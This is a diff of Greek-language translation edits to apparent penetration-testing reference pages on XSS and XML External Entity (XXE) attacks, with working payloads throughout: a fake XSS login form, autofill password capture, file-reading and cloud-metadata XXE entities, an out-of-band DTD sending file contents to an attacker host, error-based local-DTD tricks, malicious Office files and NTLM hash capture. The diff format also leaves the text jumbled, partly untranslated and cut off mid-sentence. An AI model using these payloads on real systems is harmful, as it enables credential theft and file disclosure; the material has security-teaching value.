Δείτε τη λίστα με τις θύρες που έχουν απαγορευτεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
@ -1366,7 +1366,7 @@ _Σύντομοι χρόνοι υποδεικνύουν μια απαντητι
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Αυτόματη καταγραφή κωδικών πρόσβασης
### Καταγραφή κωδικών πρόσβασης αυτόματης συμπλήρωσης
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1381,7 +1381,7 @@ body:username.value+':'+this.value
### Keylogger
Απλά ψάχνοντας στο github βρήκα μερικούς διαφορετικούς:
Αναζητώντας στο github βρήκα μερικούς διαφορετικούς:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1473,7 +1473,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
```
### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
Από [**αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex:
Από [**αυτή τη γραφή**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1496,7 +1496,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS Εκμετάλλευση άλλων ευπαθειών
## XSS Κατάχρηση άλλων ευπαθειών
### XSS σε Markdown
@ -1517,7 +1517,7 @@ xss-in-markdown.md
### XSS σε δυναμικά δημιουργημένο PDF
Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\
Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο κώδικα JS**.\
Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **ερμηνεύσει** αυτά, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
{{#ref}}

View File

@ -4,23 +4,10 @@
## XML Basics
Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικά ονοματισμένων ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX.
Το XML είναι μια γλώσσα σήμανσης σχεδιασμένη για αποθήκευση και μεταφορά δεδομένων, με μια ευέλικτη δομή που επιτρέπει τη χρήση περιγραφικών ετικετών. Διαφέρει από το HTML καθώς δεν περιορίζεται σε ένα σύνολο προκαθορισμένων ετικετών. Η σημασία του XML έχει μειωθεί με την άνοδο του JSON, παρά τον αρχικό του ρόλο στην τεχνολογία AJAX.
- **Αναπαράσταση Δεδομένων μέσω Οντοτήτων**: Οι οντότητες στο XML επιτρέπουν την αναπαράσταση δεδομένων, συμπεριλαμβανομένων ειδικών χαρακτήρων όπως `&lt;` και `&gt;`, που αντιστοιχούν σε `<` και `>` για να αποφευχθεί η σύγκρουση με το σύστημα ετικετών του XML.
- **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει να δομούνται τα στοιχεία και τι περιεχόμενο μπορεί να περιέχουν, από οποιοδήποτε τύπο περιεχομένου έως συγκεκριμένα παιδικά στοιχεία.
- **Ορισμός Τύπου Εγγράφου (DTD)**: Τα DTD είναι κρίσιμα στο XML για τον ορισμό της δομής του εγγράφου και των τύπων δεδομένων που μπορεί να περιέχει. Μπορούν να είναι εσωτερικά, εξωτερικά ή ένας συνδυασμός, καθοδηγώντας το πώς μορφοποιούνται και επικυρώνονται τα έγγραφα.
- **Προσαρμοσμένες και Εξωτερικές Οντότητες**: Το XML υποστηρίζει τη δημιουργία προσαρμοσμένων οντοτήτων εντός ενός DTD για ευέλικτη αναπαράσταση δεδομένων. Οι εξωτερικές οντότητες, που ορίζονται με μια διεύθυνση URL, εγείρουν ανησυχίες ασφαλείας, ιδιαίτερα στο πλαίσιο επιθέσεων XML External Entity (XXE), οι οποίες εκμεταλλεύονται τον τρόπο που οι αναλυτές XML χειρίζονται εξωτερικές πηγές δεδομένων: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **Ανίχνευση XXE με Οντότητες Παραμέτρων**: Για την ανίχνευση ευπαθειών XXE, ειδικά όταν οι συμβατικές μέθοδοι αποτυγχάνουν λόγω μέτρων ασφαλείας του αναλυτή, μπορούν να χρησιμοποιηθούν οντότητες παραμέτρων XML. Αυτές οι οντότητες επιτρέπουν τεχνικές ανίχνευσης εκτός ζώνης, όπως η ενεργοποίηση αναζητήσεων DNS ή HTTP αιτημάτων σε έναν ελεγχόμενο τομέα, για να επιβεβαιωθεί η ευπάθεια.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Main attacks
[**Οι περισσότερες από αυτές τις επιθέσεις δοκιμάστηκαν χρησιμοποιώντας τα καταπληκτικά εργαστήρια XEE του Portswiggers: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### New Entity test
Σε αυτή την επίθεση θα δοκιμάσω αν μια απλή δήλωση ΝΕΑΣ ΟΝΤΟΤΗΤΑΣ λειτουργεί.
- **Ορισμός Στοιχείων XML**: Το XML επιτρέπει τον ορισμό τύπων στοιχείων, περιγράφοντας πώς θα πρέπει
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -43,7 +30,7 @@
```
![](<../images/image (86).png>)
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Όχι η περίπτωση των εργαστηρίων Portswigger)
Αυτή η δεύτερη περίπτωση θα πρέπει να είναι χρήσιμη για την εξαγωγή ενός αρχείου αν ο διακομιστής ιστού χρησιμοποιεί PHP (Δεν ισχύει για τα εργαστήρια Portswigger)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -75,7 +62,7 @@
```
### SSRF
Ένα XXE θα μπορούσε να χρησιμοποιηθεί για να καταχραστεί μια SSRF μέσα σε ένα cloud
Ένα XXE θα μπορούσε να χρησιμοποιηθεί για να καταχραστεί ένα SSRF μέσα σε ένα cloud
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
@ -89,13 +76,13 @@
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "Blind" SSRF - Exfiltrate data out-of-band
### "Blind" SSRF - Εξαγωγή δεδομένων εκτός ζώνης
**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει μια νέα DTD με ένα κακόβουλο payload που θα στείλει το περιεχόμενο ενός αρχείου μέσω HTTP αιτήματος (για αρχεία πολλαπλών γραμμών μπορείτε να προσπαθήσετε να το εξάγετε μέσω \_ftp://**\_ χρησιμοποιώντας αυτόν τον βασικό διακομιστή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται σε** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει μια νέα DTD με ένα κακόβουλο payload που θα στείλει το περιεχόμενο ενός αρχείου μέσω HTTP αιτήματος (για αρχεία πολλαπλών γραμμών μπορείτε να προσπαθήσετε να το εξαγάγετε μέσω \_ftp://**\_ χρησιμοποιώντας αυτόν τον βασικό διακομιστή για παράδειγμα [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Αυτή η εξήγηση βασίζεται σε** [**Portswiggers lab εδώ**](https://portswigger.net/web-security/xxe/blind)**.**
Στην δεδομένη κακόβουλη DTD, εκτελούνται μια σειρά βημάτων για να εξαχθούν δεδομένα:
Στην δεδομένη κακόβουλη DTD, εκτελούνται μια σειρά βημάτων για την εξαγωγή δεδομένων:
### Malicious DTD Example:
### Παράδειγμα Κακόβουλης DTD:
Η δομή είναι ως εξής:
```xml
@ -107,11 +94,11 @@
Τα βήματα που εκτελούνται από αυτό το DTD περιλαμβάνουν:
1. **Ορισμός Οντοτήτων Παραμέτρων:**
- Δημιουργείται μια XML οντότητα παραμέτρου, `%file`, που διαβάζει το περιεχόμενο του αρχείου `/etc/hostname`.
- Ορίζεται μια άλλη XML οντότητα παραμέτρου, `%eval`. Δημιουργεί δυναμικά μια νέα XML οντότητα παραμέτρου, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL.
- Μια οντότητα παραμέτρου XML, `%file`, δημιουργείται, διαβάζοντας το περιεχόμενο του αρχείου `/etc/hostname`.
- Μια άλλη οντότητα παραμέτρου XML, `%eval`, ορίζεται. Δημιουργεί δυναμικά μια νέα οντότητα παραμέτρου XML, `%exfiltrate`. Η οντότητα `%exfiltrate` ρυθμίζεται ώστε να κάνει ένα HTTP αίτημα στον διακομιστή του επιτιθέμενου, περνώντας το περιεχόμενο της οντότητας `%file` μέσα στη συμβολοσειρά ερωτήματος της διεύθυνσης URL.
2. **Εκτέλεση Οντοτήτων:**
- Χρησιμοποιείται η οντότητα `%eval`, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`.
- Στη συνέχεια, χρησιμοποιείται η οντότητα `%exfiltrate`, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου.
- Η οντότητα `%eval` χρησιμοποιείται, οδηγώντας στην εκτέλεση της δυναμικής δήλωσης της οντότητας `%exfiltrate`.
- Η οντότητα `%exfiltrate` χρησιμοποιείται στη συνέχεια, ενεργοποιώντας ένα HTTP αίτημα στη συγκεκριμένη διεύθυνση URL με το περιεχόμενο του αρχείου.
Ο επιτιθέμενος φιλοξενεί αυτό το κακόβουλο DTD σε έναν διακομιστή υπό τον έλεγχό του, συνήθως σε μια διεύθυνση URL όπως `http://web-attacker.com/malicious.dtd`.
@ -125,7 +112,7 @@
### Error Based(External DTD)
**Σε αυτή την περίπτωση θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα δείξει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind)
**Σε αυτή την περίπτωση, θα κάνουμε τον διακομιστή να φορτώσει ένα κακόβουλο DTD που θα εμφανίσει το περιεχόμενο ενός αρχείου μέσα σε ένα μήνυμα σφάλματος (αυτό είναι έγκυρο μόνο αν μπορείτε να δείτε μηνύματα σφάλματος).** [**Παράδειγμα από εδώ.**](https://portswigger.net/web-security/xxe/blind)
Ένα μήνυμα σφάλματος ανάλυσης XML, που αποκαλύπτει τα περιεχόμενα του αρχείου `/etc/passwd`, μπορεί να προκληθεί χρησιμοποιώντας ένα κακόβουλο εξωτερικό Document Type Definition (DTD). Αυτό επιτυγχάνεται μέσω των εξής βημάτων:
@ -134,25 +121,25 @@
3. Η οντότητα `eval` καλείται, οδηγώντας στη δυναμική δήλωση της οντότητας `error`.
4. Η κλήση της οντότητας `error` έχει ως αποτέλεσμα μια προσπάθεια φόρτωσης ενός ανύπαρκτου αρχείου, παράγοντας ένα μήνυμα σφάλματος που περιλαμβάνει τα περιεχόμενα του αρχείου `/etc/passwd` ως μέρος του ονόματος του αρχείου.
Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το ακόλουθο XML:
Το κακόβουλο εξωτερικό DTD μπορεί να κληθεί με το εξής XML:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file.
Κατά την εκτέλεση, η απάντηση του διακομιστή ιστού θα πρέπει να περιλαμβάνει ένα μήνυμα σφάλματος που να εμφανίζει τα περιεχόμενα του αρχείου `/etc/passwd`.
![](<../images/image (809).png>)
_**Παρακαλώ σημειώστε ότι το εξωτερικό DTD μας επιτρέπει να συμπεριλάβουμε μία οντότητα μέσα στη δεύτερη (\*\***`eval`\***\*), αλλά αυτό απαγορεύεται στο εσωτερικό DTD. Επομένως, δεν μπορείτε να προκαλέσετε ένα σφάλμα χωρίς να χρησιμοποιήσετε ένα εξωτερικό DTD (συνήθως).**_
_**Παρακαλώ σημειώστε ότι η εξωτερική DTD μας επιτρέπει να συμπεριλάβουμε μία οντότητα μέσα στη δεύτερη (\*\***`eval`\***\*), αλλά αυτό απαγορεύεται στην εσωτερική DTD. Επομένως, δεν μπορείτε να προκαλέσετε ένα σφάλμα χωρίς να χρησιμοποιήσετε μια εξωτερική DTD (συνήθως).**_
### **Error Based (system DTD)**
### **Σφάλμα Βασισμένο (σύστημα DTD)**
So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)?.
Τι γίνεται με τις τυφλές ευπάθειες XXE όταν **οι εκτός ζώνης αλληλεπιδράσεις είναι αποκλεισμένες** (οι εξωτερικές συνδέσεις δεν είναι διαθέσιμες);
A loophole in the XML language specification can **expose sensitive data through error messages when a document's DTD blends internal and external declarations**. This issue allows for the internal redefinition of entities declared externally, facilitating the execution of error-based XXE attacks. Such attacks exploit the redefinition of an XML parameter entity, originally declared in an external DTD, from within an internal DTD. When out-of-band connections are blocked by the server, attackers must rely on local DTD files to conduct the attack, aiming to induce a parsing error to reveal sensitive information.
Μια παραθυράκι στην προδιαγραφή γλώσσας XML μπορεί να **εκθέσει ευαίσθητα δεδομένα μέσω μηνυμάτων σφάλματος όταν η DTD ενός εγγράφου συνδυάζει εσωτερικές και εξωτερικές δηλώσεις**. Αυτό το ζήτημα επιτρέπει την εσωτερική αναdefinition οντοτήτων που δηλώνονται εξωτερικά, διευκολύνοντας την εκτέλεση επιθέσεων XXE βασισμένων σε σφάλματα. Τέτοιες επιθέσεις εκμεταλλεύονται την αναdefinition μιας παραμέτρου οντότητας XML, που αρχικά δηλώθηκε σε μια εξωτερική DTD, από μέσα σε μια εσωτερική DTD. Όταν οι εκτός ζώνης συνδέσεις αποκλείονται από τον διακομιστή, οι επιτιθέμενοι πρέπει να βασιστούν σε τοπικά αρχεία DTD για να διεξάγουν την επίθεση, στοχεύοντας να προκαλέσουν ένα σφάλμα ανάλυσης για να αποκαλύψουν ευαίσθητες πληροφορίες.
Consider a scenario where the server's filesystem contains a DTD file at `/usr/local/app/schema.dtd`, defining an entity named `custom_entity`. An attacker can induce an XML parsing error revealing the contents of the `/etc/passwd` file by submitting a hybrid DTD as follows:
Σκεφτείτε ένα σενάριο όπου το σύστημα αρχείων του διακομιστή περιέχει ένα αρχείο DTD στο `/usr/local/app/schema.dtd`, που ορίζει μια οντότητα με το όνομα `custom_entity`. Ένας επιτιθέμενος μπορεί να προκαλέσει ένα σφάλμα ανάλυσης XML αποκαλύπτοντας τα περιεχόμενα του αρχείου `/etc/passwd` υποβάλλοντας μια υβριδική DTD ως εξής:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -165,13 +152,13 @@ Consider a scenario where the server's filesystem contains a DTD file at `/usr/l
%local_dtd;
]>
```
Τα παρακάτω βήματα εκτελούνται από αυτήν την DTD:
Τα παρακάτω βήματα εκτελούνται από αυτό το DTD:
- Ο ορισμός μιας XML παραμέτρου οντότητας που ονομάζεται `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή.
- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας το περιεχόμενο του αρχείου `/etc/passwd`.
- Ο ορισμός μιας XML παραμέτρου οντότητας με όνομα `local_dtd` περιλαμβάνει το εξωτερικό αρχείο DTD που βρίσκεται στο σύστημα αρχείων του διακομιστή.
- Μια επαναορισμός συμβαίνει για την XML παράμετρο οντότητας `custom_entity`, που αρχικά ορίστηκε στο εξωτερικό DTD, για να περιλάβει μια [εκμετάλλευση XXE βασισμένη σε σφάλματα](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Αυτή η επαναορισμός έχει σχεδιαστεί για να προκαλέσει ένα σφάλμα ανάλυσης, εκθέτοντας τα περιεχόμενα του αρχείου `/etc/passwd`.
- Χρησιμοποιώντας την οντότητα `local_dtd`, ενεργοποιείται το εξωτερικό DTD, περιλαμβάνοντας την νεοκαθορισμένη `custom_entity`. Αυτή η ακολουθία ενεργειών προκαλεί την εκπομπή του μηνύματος σφάλματος που επιδιώκεται από την εκμετάλλευση.
**Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν μια DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα που ονομάζεται `ISOamso`.
**Παράδειγμα από τον πραγματικό κόσμο:** Τα συστήματα που χρησιμοποιούν το περιβάλλον επιφάνειας εργασίας GNOME συχνά έχουν ένα DTD στο `/usr/share/yelp/dtd/docbookx.dtd` που περιέχει μια οντότητα με όνομα `ISOamso`.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -188,7 +175,7 @@ Consider a scenario where the server's filesystem contains a DTD file at `/usr/l
```
![](<../images/image (625).png>)
Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD, πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε αυτό **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **αναζητώντας μερικά προεπιλεγμένα DTDs**, ή **λαμβάνοντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα σε συστήματα και **ελέγχοντας** αν κάποιο από αυτά υπάρχει:
Καθώς αυτή η τεχνική χρησιμοποιεί ένα **εσωτερικό DTD, πρέπει πρώτα να βρείτε ένα έγκυρο**. Μπορείτε να το κάνετε αυτό **εγκαθιστώντας** το ίδιο **ΛΣ / Λογισμικό** που χρησιμοποιεί ο διακομιστής και **αναζητώντας μερικά προεπιλεγμένα DTDs**, ή **παίρνοντας μια λίστα** με **προεπιλεγμένα DTDs** μέσα σε συστήματα και **ελέγχοντας** αν κάποιο από αυτά υπάρχει:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -205,7 +192,7 @@ Consider a scenario where the server's filesystem contains a DTD file at `/usr/l
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
Επιπλέον, αν έχετε την **εικόνα Docker του συστήματος του θύματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο του ίδιου repo για να **σκανάρετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς.
Επιπλέον, αν έχετε την **εικόνα Docker του θύματος συστήματος**, μπορείτε να χρησιμοποιήσετε το εργαλείο του ίδιου repo για να **σκανάρετε** την **εικόνα** και να **βρείτε** τη διαδρομή των **DTDs** που υπάρχουν μέσα στο σύστημα. Διαβάστε το [Readme του github](https://github.com/GoSecure/dtd-finder) για να μάθετε πώς.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -221,13 +208,13 @@ Testing 0 entities : []
Για μια πιο λεπτομερή εξήγηση αυτής της επίθεσης, **ελέγξτε τη δεύτερη ενότητα του** [**αυτού του καταπληκτικού άρθρου**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **από την Detectify**.
Η δυνατότητα να **ανεβάζετε έγγραφα Microsoft Office προσφέρεται από πολλές διαδικτυακές εφαρμογές**, οι οποίες στη συνέχεια προχωρούν στην εξαγωγή ορισμένων λεπτομερειών από αυτά τα έγγραφα. Για παράδειγμα, μια διαδικτυακή εφαρμογή μπορεί να επιτρέπει στους χρήστες να εισάγουν δεδομένα ανεβάζοντας ένα υπολογιστικό φύλλο σε μορφή XLSX. Για να μπορέσει ο αναλυτής να εξαγάγει τα δεδομένα από το υπολογιστικό φύλλο, θα χρειαστεί αναπόφευκτα να αναλύσει τουλάχιστον ένα XML αρχείο.
Η δυνατότητα να **ανεβάζουν έγγραφα Microsoft Office προσφέρεται από πολλές διαδικτυακές εφαρμογές**, οι οποίες στη συνέχεια προχωρούν στην εξαγωγή ορισμένων λεπτομερειών από αυτά τα έγγραφα. Για παράδειγμα, μια διαδικτυακή εφαρμογή μπορεί να επιτρέπει στους χρήστες να εισάγουν δεδομένα ανεβάζοντας ένα υπολογιστικό φύλλο σε μορφή XLSX. Για να μπορέσει ο αναλυτής να εξαγάγει τα δεδομένα από το υπολογιστικό φύλλο, θα χρειαστεί αναπόφευκτα να αναλύσει τουλάχιστον ένα XML αρχείο.
Για να δοκιμάσετε αυτή την ευπάθεια, είναι απαραίτητο να δημιουργήσετε ένα **αρχείο Microsoft Office που περιέχει ένα XXE payload**. Το πρώτο βήμα είναι να δημιουργήσετε έναν κενό φάκελο στον οποίο μπορεί να αποσυμπιεστεί το έγγραφο.
Για να δοκιμαστεί αυτή η ευπάθεια, είναι απαραίτητο να δημιουργηθεί ένα **αρχείο Microsoft Office που περιέχει ένα XXE payload**. Το πρώτο βήμα είναι να δημιουργηθεί ένας κενός φάκελος στον οποίο μπορεί να αποσυμπιεστεί το έγγραφο.
Αφού το έγγραφο έχει αποσυμπιεστεί, το XML αρχείο που βρίσκεται στο `./unzipped/word/document.xml` θα πρέπει να ανοιχτεί και να επεξεργαστεί σε έναν προτιμώμενο επεξεργαστή κειμένου (όπως το vim). Το XML θα πρέπει να τροποποιηθεί ώστε να περιλαμβάνει το επιθυμητό XXE payload, συχνά ξεκινώντας με ένα HTTP αίτημα.
Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικαταστήσετε το URL με ένα παρακολουθήσιμο URL για αιτήματα.
Οι τροποποιημένες γραμμές XML θα πρέπει να εισαχθούν μεταξύ των δύο ριζικών XML αντικειμένων. Είναι σημαντικό να αντικατασταθεί η διεύθυνση URL με μια παρακολουθήσιμη διεύθυνση URL για τα αιτήματα.
Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η εξής εντολή:
@ -235,13 +222,13 @@ Testing 0 entities : []
### Jar: πρωτόκολλο
Το **jar** πρωτόκολλο είναι προσβάσιμο αποκλειστικά εντός **Java εφαρμογών**. Είναι σχεδιασμένο για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός **PKZIP** αρχείου (π.χ., `.zip`, `.jar`, κ.λπ.), καλύπτοντας τόσο τοπικά όσο και απομακρυσμένα αρχεία.
Το **jar** πρωτόκολλο είναι προσβάσιμο αποκλειστικά εντός **Java εφαρμογών**. Είναι σχεδιασμένο για να επιτρέπει την πρόσβαση σε αρχεία εντός ενός **PKZIP** αρχείου (π.χ., `.zip`, `.jar`, κ.λπ.), εξυπηρετώντας τόσο τοπικά όσο και απομακρυσμένα αρχεία.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
> [!CAUTION]
> Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση XXE μέσω αρχείων DTD συστήματος.** Ελέγξτε [αυτή την ενότητα για να μάθετε πώς να καταχραστείτε τα αρχεία DTD συστήματος](xxe-xee-xml-external-entity.md#error-based-system-dtd).
> Για να μπορέσετε να έχετε πρόσβαση σε αρχεία μέσα σε αρχεία PKZIP είναι **πολύ χρήσιμο για την κατάχρηση του XXE μέσω αρχείων DTD συστήματος.** Ελέγξτε [αυτή την ενότητα για να μάθετε πώς να καταχράστε τα αρχεία DTD συστήματος](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Η διαδικασία πίσω από την πρόσβαση σε ένα αρχείο μέσα σε ένα αρχείο PKZIP μέσω του πρωτοκόλλου jar περιλαμβάνει αρκετά βήματα:
@ -292,9 +279,9 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
![](<../images/image (527).png>)
#### Getting NTML
#### Απόκτηση NTML
Σε Windows hosts είναι δυνατόν να αποκτήσετε το NTML hash του χρήστη του web server ρυθμίζοντας έναν handler στο responder.py:
Σε Windows hosts είναι δυνατή η απόκτηση του NTML hash του χρήστη του web server ρυθμίζοντας έναν handler στο responder.py:
```bash
Responder.py -I eth0 -v
```
@ -334,7 +321,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
<image xlink:href="expect://ls"></image>
</svg>
```
Στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για να εκκινήσει επιθέσεις που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας.
Στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για την εκκίνηση επιθέσεων που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας.
Δείτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες!
@ -422,13 +409,13 @@ Content-Type: application/xml;charset=UTF-8
```
### File:/ Protocol Bypass
Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers**`php://filter/convert.base64-encode/resource=` για να **έχετε πρόσβαση σε εσωτερικά αρχεία**.
Αν ο ιστότοπος χρησιμοποιεί PHP, αντί να χρησιμοποιήσετε `file:/` μπορείτε να χρησιμοποιήσετε **php wrappers**`php://filter/convert.base64-encode/resource=` για να **πρόσβαση σε εσωτερικά αρχεία**.
Αν ο ιστότοπος χρησιμοποιεί Java, μπορείτε να ελέγξετε το [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol).
### HTML Entities
Trick από [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Μπορείτε να δημιουργήσετε μια **οντότητα μέσα σε μια οντότητα** κωδικοποιώντας την με **html entities** και στη συνέχεια να την καλέσετε για να **φορτώσετε ένα dtd**.\
